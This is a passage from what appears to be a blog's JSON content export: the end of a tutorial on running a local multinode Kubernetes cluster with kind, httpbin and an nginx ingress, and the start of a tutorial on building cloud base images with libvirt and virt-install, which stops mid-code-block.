style=\"color:#96D0FF\"\u003eIfNotPresent\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ports\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003econtainerPort\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8080\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis is creating a couple of Kubernetes resources:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eService\u003c/code\u003e: This is exposing the port to the ingress\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eDeployment\u003c/code\u003e: This is actually launching the service\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSo we are not using the ingress yet but we can prove that we can launch the\nservice at least. So apply those manifests:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apply\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e httpbin.yml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eservice/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003edeployment.apps/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e created\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should see two pods come up. You should wait for them to get into the\n\u003ccode\u003eRunning\u003c/code\u003e status:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e pod\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e wide\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READY\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RESTARTS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IP\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NOMINATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NODE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e READINESS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e GATES\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-2z5wz\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 48s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.3.3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker3\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ehttpbin-5c5494967-9lf47\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 1/1\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 72s\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 10.244.1.2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kind-multinode-worker\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can now use port forwarding to access it. \u003ccode\u003ehttpbin\u003c/code\u003e is exposed on \u003ccode\u003e8000\u003c/code\u003e so\nlets create port \u003ccode\u003e9000\u003c/code\u003e on our host that forwards to it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e port-forward\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e service/httpbin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 9000:8000\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 127.0.0.1:9000\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 80\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eForwarding\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [::1]:9000 -\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e 80\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can access it via:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost:9000/get\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"args\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"headers\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"Accept\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eUsing Ingress\u003c/h1\u003e\n\u003cp\u003eNow to use the ingress rather than port forwarding we create one additional\nresource, the \u003ccode\u003eIngress\u003c/code\u003e:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003eapiVersion\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enetworking.k8s.io/v1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eIngress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003emetadata\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin-ingress\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e annotations\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e nginx.ingress.kubernetes.io/rewrite-target\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/$2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003espec\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e ingressClassName\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003enginx\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e rules\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ehttp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e paths\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003epath\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/httpbin(/|$)(.*)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pathType\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eImplementationSpecific\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e backend\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e service\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e name\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003ehttpbin\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e port\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e number\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e8000\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few critical options here. The first is the annotation to rewrite\nthe path so it does not include \u003ccode\u003e/httpbin/\u003c/code\u003e when it sends the request to the\nservice and then the \u003ccode\u003epath\u003c/code\u003e and \u003ccode\u003epathType\u003c/code\u003e so it knows which paths to send to\nwhich service.\u003c/p\u003e\n\u003cp\u003eNow you should be able to hit your local host and get routed to your\nkubernetes service:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e curl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e localhost/httpbin/get\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSuccess! Now you have a multinode kubernetes cluster that has an ingress\ncontroller!\u003c/p\u003e\n\u003ch1\u003eNext Steps\u003c/h1\u003e\n\u003cp\u003eThe cluster can be used like a production cluster now for local\ndevelopment! You could setup Grafana, ArgoCD, etc. to run\ninside the cluster.\u003c/p\u003e","category":"Kubernetes","date":"2023-07-21T00:00:00Z","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kind"},{"id":["old","preparing_cloud_images_with_libvirt"],"path":"old/preparing_cloud_images_with_libvirt","contentHtml":"\u003cp\u003eThis article will show you how to use libvirt to create base images that\ncan be uploaded to OpenStack.\u003c/p\u003e\n\u003ch1\u003eWhy would you want to do this?\u003c/h1\u003e\n\u003cp\u003eLinux distributions like Fedora and Ubuntu already ship \"cloud\" images\nand most providers also have their own custom images for you to use, but\nI find it much more comforting to have full control of the software that\nis installed and I like the ability to easily apply new security patches\nto base images.\u003c/p\u003e\n\u003cp\u003eI wouldn't use images to replace config management (CM) with something\nlike \u003ca href=\"http://www.saltstack.com/\"\u003eSalt\u003c/a\u003e or\n\u003ca href=\"http://www.ansible.com/\"\u003eAnsible\u003c/a\u003e but they are nice to give sane system\ndefaults in things like \u003ccode\u003egrub.conf\u003c/code\u003e, \u003ccode\u003esysctl.conf\u003c/code\u003e, and shipping a Chef\nor Salt agent so that your CM engine can communicate with your server\nright away.\u003c/p\u003e\n\u003ch1\u003eSetting up your environment\u003c/h1\u003e\n\u003cp\u003eThe first thing you need to do is get a minimal install disk for the\nLinux distribution you want to use. I prefer using Fedora netinst disks\nbut another popular option is Ubuntu Server.\u003c/p\u003e\n\u003cp\u003eTo get the latest Fedora here, you can choose \"netinst\" under Direct\nDownloads: \u003ca href=\"http://fedoraproject.org/en/get-fedora-all\"\u003ehttp://fedoraproject.org/en/get-fedora-all\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eTo get the latest Ubuntu you can go here:\n\u003ca href=\"http://www.ubuntu.com/download/server\"\u003ehttp://www.ubuntu.com/download/server\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eOnce you have acquired your distribution of choice you just need to\nverify that you have \u003ccode\u003evirt-install\u003c/code\u003e and \u003ccode\u003evirt-viewer\u003c/code\u003e installed:\u003c/p\u003e\n\u003cp\u003eFedora:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyum\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e virt-install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e virt-viewer\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eUbuntu:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e virtinst\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e virt-viewer\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eIf you prefer a graphical user interface, you may use \u003ccode\u003evirt-manager\u003c/code\u003e\ninstead, but I try to keep everything in the CLI; that way it can be\nrepeated easily.\u003c/p\u003e\n\u003ch1\u003ePreparing your disk\u003c/h1\u003e\n\u003cp\u003eNow that you have a base ISO and the tools necessary, let's get started\nby creating a disk to install the virtual server into. Resizing an image\nisn't an impossible task but it is much easier to choose a reasonably\nsized disk for the purpose it will be used for.\u003c/p\u003e\n\u003cp\u003eI primarily use 8 GB disks -- that way we can fit all the system\ncomponents required as well as our own web applications. Any large files\nshould be placed in a SAN or something like Dreamhost's dreamobjects.\u003c/p\u003e\n\u003cp\u003eThe other big decision you must make upfront is what disk format you\nwant to use -- the trade-off is disk space vs performance. The two\nprimary formats are qcow2 (QEMU Copy on Write) and Raw. qcow2 is great\nif you have limited disk space and don't want to allocate the full 8 GB\nup front. Raw is preferred if you want the best performance.\u003c/p\u003e\n\u003cp\u003eIf you choose qcow2, you'll also need to make sure you have \u003ccode\u003eqemu-img\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003eFedora:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eyum\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e qemu-img\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eUbuntu:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e qemu-utils\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCreate a raw disk:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003efallocate\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -l\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 8192M\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e server.img\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCreate a qcow2 disk:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eqemu-img\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -f\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e qcow2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e server.qcow2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 8G\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eInstalling your distribution onto the disk\u003c/h1\u003e\n\u003cp\u003eWe will use the \u003ccode\u003evirt-install\u003c/code\u003e command to get the distribution installed\nonto the disk image.\u003c/p\u003e\n\u003cp\u003eTo install Fedora on a qcow2 disk image:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evirt-install\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e base_server\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --ram\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1024\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cdrom=./Fedora-20-x86_64-netinst.iso\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e--disk \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epath=./server.qcow2,format=qcow2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eTo install Ubuntu Server on a raw disk image:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003evirt-install\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e base_server\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --ram\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 1024\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cdrom=./ubuntu-12.04.4-server-amd64.iso\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e--disk \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003epath=./server.img,format=raw\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou should follow the standard install steps that you normally would\nwhen setting up your distribution. But here are some tips for each:\u003c/p\u003e\n\u003cp\u003eFedora:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eChoose minimal install -- by default it selects \"GNOME\".\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eUbuntu:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eBe sure to select OpenSSH server -- it won't install it by\ndefault.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOn Ubuntu 12.04, there is a bug that makes it hang after running\n\u003ccode\u003efsck\u003c/code\u003e. You will need to edit grub to get it to boot, hit _\u003ca href=\"\"\u003ee\u003c/a\u003e at\nthe boot prompt and add \"nomodeset\" on the linux line. You will\nknow that you need to do this if your boot hangs on fsck:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003efsck\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e util-linux\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2.20.1\u003c/span\u003e\u003c/span\u003e\n\u003cspan 